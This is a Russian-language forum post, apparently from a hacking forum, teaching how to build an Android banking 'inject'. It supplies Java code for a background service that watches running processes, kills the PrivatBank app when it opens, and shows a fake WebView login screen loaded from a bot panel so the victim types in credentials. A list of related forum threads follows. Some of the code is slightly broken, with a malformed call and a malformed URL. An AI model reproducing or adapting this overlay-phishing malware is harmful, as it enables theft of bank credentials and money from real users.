Android, Инжекты до 6.0, Android injection

Admin

Администратор
Обещал как то написать статью по инжектам для андроида 6.0(API 23), так как не было времени, пришлось оттянуть обещание!

Язык java, среда разработки Android Studio
DroidSQLi-Android-Sql-Injection-v1.0.png

Начну сразу с того, что у нас уже созданный проект(к примеру по статье allmore), далее нам нужно создать service(назовём ServiceInjection),
который будет следить за процессами и activity(назовём ActivityInjection), которое будет являться наши фейком(где жертва будет вводить логи).

В манифест добавим
Код:
<uses-permission android:name="android.permission.GET_TASKS" />
Рассмотрим service:

Пишем функцию которая нам возваращает имя процесса до версии 5.0

Код:
public String getPackage() // получаем процессы до API 5.0
{
   if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.KITKAT) {
       ActivityManager am = (ActivityManager) this.getSystemService(ACTIVITY_SERVICE);
       List<ActivityManager.RunningTaskInfo> taskInfo = am.getRunningTasks(1);
       ComponentName componentInfo = taskInfo.get(0).topActivity;
       return taskInfo.get(0).topActivity.getPackageName();
   }
   else
   {
       ActivityManager manager = (ActivityManager)this.getSystemService(Context.ACTIVITY_SERVICE);
       List<ActivityManager.RunningAppProcessInfo> tasks = manager.getRunningAppProcesses();
       return tasks.get(0).processName;
   }
}
Функция для скана директории /proc/, где мы получим pid запущенного процесса(/proc/nnnn), я думаю тут уже все понятно как работают и инжекты от API 21 до API 23

Директория /proc/

Код:
//------5.1 и выше--------------------------------
protected static String readFile(String path) throws IOException {
   BufferedReader reader = null;
   try {
       StringBuilder output = new StringBuilder();
       reader = new BufferedReader(new FileReader(path));
       for (String line = reader.readLine(), newLine = ""; line != null; line = reader.readLine()) {
           output.append(newLine).append(line);
           newLine = "\n";
       }
       return output.toString();
   }
   finally { if (reader != null) {try {reader.close();} catch (IOException ignored){}}}
}
И функция где мы по pid получим имя процесса

Код:
static String getProcessName(int pid) throws IOException {
   String cmdline = null;
   try {cmdline = readFile(String.format("/proc/%d/cmdline", pid)).trim();} catch (IOException ignored) {}
   return cmdline;
}
Пишем обработку слежения за процессами

Код:
public void scanProcess(){
       new Thread(new Runnable(){
                public void run(){
                   if(Build.VERSION.SDK_INT <= Build.VERSION_CODES.LOLLIPOP_MR1)
                   {
                       for (int i = 0; i > -1; i++) //смотрим процессы до 5.0
                       {
                           String nameProcess = "ua.privatbank"; //имя процесса который нужно инжектить
                           String Process = getPackage(); //получаем активный процесс
                  
                           if(Process.contains(nameProcess))//если наш процесс запущен, то убиваем этот процесс и запускаем activity
                           {
                               ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
                               am.killBackgroundProcesses(Process);
                      
                               Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
                               dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                               startActivity(dialogIntent);
                           }
                       }
                   try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
                   }
                   else
                   {//Теперь пишем для 5.1 и выше
                       for (int i = 0; i > -1; i++)
                       {
                           String nameProcess = "ua.privatbank"; //имя процесса для инжекта
      
                           File directory = new File(directoryName);//Получаем список папок и файлов в директории /proc/
                           File[] fList = directory.listFiles();
                           for (File file : fList) {
                           if (file.isDirectory()) {
                                   try {
                                       String s = file.toString();
                                       s = s.replace("/proc/", "");

                                       String procNameProcess = getProcessName(Integer.parseInt(s));//выводим процессы
                              
                                       //если процесс запущен, то также убиваем этот процесс и запускаем activity
                                       if (procNameProcess.contains(data_name_inj)) {
                                       ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
                                       am.killBackgroundProcesses(procNameProcess);
                                       file.delete();
                              
                                       Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
                                       dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                                       startActivity(dialogIntent);
                                       break;
                                       }
                                   } catch (Exception ex) {}
                               }
                           }
                  
                       }
                   try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
                   }
       stopSelf();
       }
   }).start();
}
Теперь осталось запустить функцию скана процессов и сделать activity

Код:
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
  scanProcess _act();
  return  flags;
}
Аctivity
Код:
public class ActivityInjection extends Activity {
   @SuppressLint("SetJavaScriptEnabled")
   @Override
   protected void onCreate(Bundle savedInstanceState)
   {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activityinjection);
   }
   @Override
   protected void onStart() {
       super.onStart();

       WebView webView = (WebView) findViewById(R.id.webView);
       webView.getSettings().setJavaScriptEnabled(true);
       webView.setWebViewClient(new WebViewClient());
       webView.setWebChromeClient(new WebChromeClient());
       webView.loadUrl(“https//androidBOT/injection/privatbank.php"));
   }
}
Но вообще есть еще множество способ получить имя процесса для инжектов!
Вот и все, будет время еще что нибудь напишу, если конечно кому интересно!
 
  • Like
Реакции: Kpa6
Похожие темы
Admin Интересно Новая уязвимость в Android позволяет взломать смартфон без единого клика. Новости в сети 0
Admin Интересно Пользователи Android могут получить выплату от Google в размере $135 млн. Новости в сети 0
Admin Интересно Grandoreiro и BTMOB атакуют пользователей Windows и Android в Латинской Америке и Европе. Новости в сети 0
Admin Интересно BTMOB: скрытый троян для Android, способный захватить устройство. Новости в сети 0
Admin Интересно В Android-сборке Telegram обнаружен шпионский троян. Новости в сети 0
Admin Интересно Пока вы спите, ваш Android ударно трудится на рекламных фермах. Новости в сети 0
Admin Интересно Google представила Gemini Intelligence — Android научится сам выполнять задачи. Новости в сети 0
Admin Интересно Google представила функцию записи атак на Android для журналистов и активистов. Новости в сети 0
Admin Интересно Apple добавила шифрование переписки между iPhone и Android. Новости в сети 0
Admin Интересно Android 17 научится автоматически блокировать мошеннические звонки. Новости в сети 0
Admin Интересно Google представила функцию записи вторжений для анализа сложных атак на Android. Новости в сети 0
Admin Интересно Новая версия трояна TrickMo использует сеть TON для создания сетевых узлов на Android. Новости в сети 0
Admin Интересно Миллионы пользователей Android обмануты приложениями с поддельными журналами вызовов. Новости в сети 0
Admin Интересно Google срочно закрывает критическую уязвимость в Android. Новости в сети 0
Admin Интересно Мошенники используют NFC на Android для хищения денег через банкоматы. Новости в сети 0
Admin Интересно Мошеннические приложения CallPhantom обманывают пользователей Android. Новости в сети 0
Admin Интересно Google внедряет систему публичной проверки приложений Android для защиты от атак на цепочку поставок. Новости в сети 0
Admin Интересно Ваша телефонная книга останется при вас. Разбираемся в новых настройках приватности Android. Новости в сети 0
Admin Интересно Google заблокировал 8,3 млрд рекламных объявлений в 2025 году и представил обновления для Android 17. Новости в сети 0
Admin Интересно Уязвимость в графическом процессоре Android позволяет получить полный контроль над устройством. Новости в сети 0
Admin Интересно Мошенники используют функции Android для получения полного контроля над устройствами. Новости в сети 0
Admin Интересно В Google Play обнаружены десятки вредоносных приложений для Android. Новости в сети 0
Admin Интересно Google требует от разработчиков Android подтверждения личности для сохранения возможности сторонней загрузки. Новости в сети 0
Admin Интересно Google начинает проверку разработчиков Android перед введением обязательной верификации. Новости в сети 0
Admin Интересно Новый вирус Mirax Bot угрожает владельцам Android. Новости в сети 0
Admin Интересно Telegram на Android получил новый неофициальный клиент Monogram. Новости в сети 0
Admin Интересно Android-вредонос ClayRat: история быстрого взлёта и падения. Новости в сети 0
Admin Интересно Google вводит 24-часовое ожидание для установки непроверенных приложений на Android. Новости в сети 0
Admin Интересно Новый троян Perseus крадет данные из заметок на Android. Новости в сети 0
Admin Интересно Новый Android-вирус Perseus крадет данные из приложений для заметок. Новости в сети 0
Admin Интересно Google объявляет о крупных изменениях в экосистеме Android и магазине Google Play. Новости в сети 0
Admin Статья Android Malware - Seed Phrase Stealer / OCR / - Source Code Вирусология 0
Support81 Каждый Android под полным контролем. Новости в сети 0
Support81 Android-троян мутировал. Новости в сети 0
Support81 Телефон против владельца: как Android помогает хакерам воровать криптовалюту Новости в сети 0
Support81 Android пропускает атаку в фоне, пока ты читаешь эту новость Новости в сети 0
Support81 PIN-код для свободы: новый Android-шпион категорически против своего удаления Новости в сети 0
Support81 Фото, крипта, пароли: троян SparkCat крадёт личные данные с Android и iOS Новости в сети 0
Support81 Android.Vo1d: хакеры проникают в дома через ТВ-приставки Новости в сети 0
Multi-VPN Интересно aTox и TRIfA мессенджеры твоей мечты для Android Полезные статьи 0
Multi-VPN aTox и TRIfA мессенджеры твоей мечты для Android Анонимность и приватность 0
Support81 Snowblind: хакеры злоупотребляют «слепым пятном» в защитной системе Android Новости в сети 0
E SAPHIRA - ANDROID BOTNET Готовый софт 0
Support81 Новый троян Brokewell превращает Android-смартфон в инструмент слежки Новости в сети 0
Support81 VPN – ловушка для Android: как приложения превращают смартфоны в зомби Новости в сети 0
Support81 PixPirate: невидимый мародёр Android-устройств в Бразилии Новости в сети 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Support81 Кто стоит за Agent Racoon? Тайный хакер, который атакует Android и угрожает мировой безопасности Новости в сети 0
Support81 Вирус с Уолл-Стрит: приложения для займов тайно крадут данные 12 млн. пользователей Android Новости в сети 0
Support81 Android-троян SpyNote записывает аудио и телефонные звонки Новости в сети 0

Название темы